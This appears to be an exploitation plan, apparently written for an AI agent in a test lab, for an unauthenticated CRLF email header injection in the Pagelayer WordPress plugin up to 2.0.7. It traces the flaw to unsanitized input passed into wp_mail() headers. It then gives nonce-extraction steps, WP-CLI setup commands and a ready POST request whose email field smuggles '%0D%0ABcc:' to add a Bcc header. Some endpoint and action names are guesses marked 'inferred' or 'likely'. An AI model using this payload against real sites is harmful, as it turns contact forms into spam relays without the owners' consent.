Pagelayer <= 2.0.7 - Improper Neutralization of CRLF Sequences to Unauthenticated Email Header Injection via 'email'

Vulnerability Summary

The Pagelayer plugin for WordPress (versions <= 2.0.7) is vulnerable to CRLF Injection in its contact form handling logic. The plugin performs placeholder substitution (e.g., replacing [email] with the user-provided email address) in email templates, including headers like From or Reply-To. Because the plugin fails to sanitize or neutralize Carriage Return (\r / %0D) and Line Feed (\n / %0A) characters in the email parameter before using it in the headers of a wp_mail() call, an unauthenticated attacker can inject arbitrary email headers such as Bcc: or Cc:. This allows the contact form to be abused for spamming or unauthorized email delivery.

Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: pagelayer_contact_form (inferred from common plugin naming and widget context).
• Vulnerable Parameter: email
• Authentication: Unauthenticated (PR:N)
• Preconditions: A contact form must be created (usually via a shortcode) and configured to use the [email] placeholder in its mail headers (which is the default behavior for "Reply-To").

Code Flow

1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action pagelayer_contact_form.
2. Handler Registration: The plugin registers the handler via add_action('wp_ajax_nopriv_pagelayer_contact_form', ...) (likely located in main/class.php or a widget-specific file).
3. Input Processing: The handler retrieves the email parameter using pagelayer_optreq('email').
4. Sanitization Check: pagelayer_optreq calls pagelayer_inputsec() (found in main/functions.php), which only performs addslashes() and escapes backticks. It does not strip CRLF characters.
5. Substitution: The handler takes an email header template (e.g., Reply-To: [email]) and performs a string replacement:
   $headers = str_replace('[email]', $user_email, $header_template);
6. Sinking: The resulting $headers string, now containing injected newlines and additional headers, is passed directly to the wp_mail() function:
   wp_mail($to, $subject, $message, $headers);

Nonce Acquisition Strategy

The Pagelayer contact form requires a nonce for submission. Based on main/ajax.php, the plugin uses the key pagelayer_nonce and the action pagelayer_ajax.

1. Identify Shortcode: The contact form is likely rendered via the shortcode [pl_contact_form] (based on PAGELAYER_SC_PREFIX being pl).
2. Create Test Page:

   wp post create --post_type=page --post_title="Contact Test" --post_status=publish --post_content='[pl_contact_form id="1"]'
   

3. Navigate and Extract: Use the browser_navigate tool to open the created page.
4. Browser Evaluation: Execute JavaScript to find the nonce and form settings.

   // Pagelayer typically localizes these in a global object
   browser_eval("window.pagelayer_config?.nonce || window.pagelayer_ajax_nonce || pagelayer_settings?.nonce")
   

   Note: If the nonce is not in a global variable, the agent should inspect the form HTML for a hidden input named pagelayer_nonce.

Exploitation Strategy

1. Preparation

Create a page with a contact form to ensure the widget is active and the nonce is generated.

2. Header Injection Payload

The goal is to inject a Bcc header.

• Payload: victim@example.com%0D%0ABcc:attacker@example.com
• Target Parameter: email

3. HTTP Request (via http_request tool)

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

action=pagelayer_contact_form&
pagelayer_nonce=[EXTRACTED_NONCE]&
id=1&
email=test%40example.com%0D%0ABcc%3Apwned%40target.com&
name=Attacker&
subject=Hello&
message=This+is+a+test+message

(Parameters like id, name, and message may vary depending on the form's configuration; the agent should inspect the form fields on the test page.)

Test Data Setup

1. Plugin Installation: Ensure Pagelayer <= 2.0.7 is active.
2. Mock Form: Create a page with the contact form widget.

   wp post create --post_type=page --post_status=publish --post_content='[pl_contact_form]'
   

3. Mail Logging: To verify the exploit without a real SMTP server, install a mail logging plugin or add a snippet to functions.php:

   wp eval "add_filter('wp_mail', function(\$args){ error_log('MAIL_HEADERS: ' . \$args['headers']); return \$args; });"
   

Expected Results

1. The plugin accepts the request and returns a success JSON response (e.g., {"success": true}).
2. The injected Bcc:pwned@target.com header is processed by PHP's mail() function (via wp_mail).
3. In the debug.log (if logging is enabled), the headers will show a newline followed by the injected header:

   Reply-To: test@example.com
   Bcc:pwned@target.com
   

Verification Steps

1. Check Logs: Use wp_cli to check the error log for the injected string.

   tail -n 20 wp-content/debug.log | grep "Bcc:pwned"
   

2. Verify Nonce Usage: If the request returns a 403 or a nonce error, verify the nonce action string by grepping the source for check_ajax_referer calls related to contact forms.

Alternative Approaches

• Different Placeholders: If the email parameter is not used in headers by default, try other fields like subject if they are substituted into the header string.
• Form ID Discovery: If the id parameter is required but unknown, use browser_eval to find the data-id or id attribute of the .pagelayer-contact-form element.
• Direct Action Probe: If pagelayer_contact_form is incorrect, search the plugin directory for any wp_ajax_nopriv registration:

  grep -r "wp_ajax_nopriv" wp-content/plugins/pagelayer/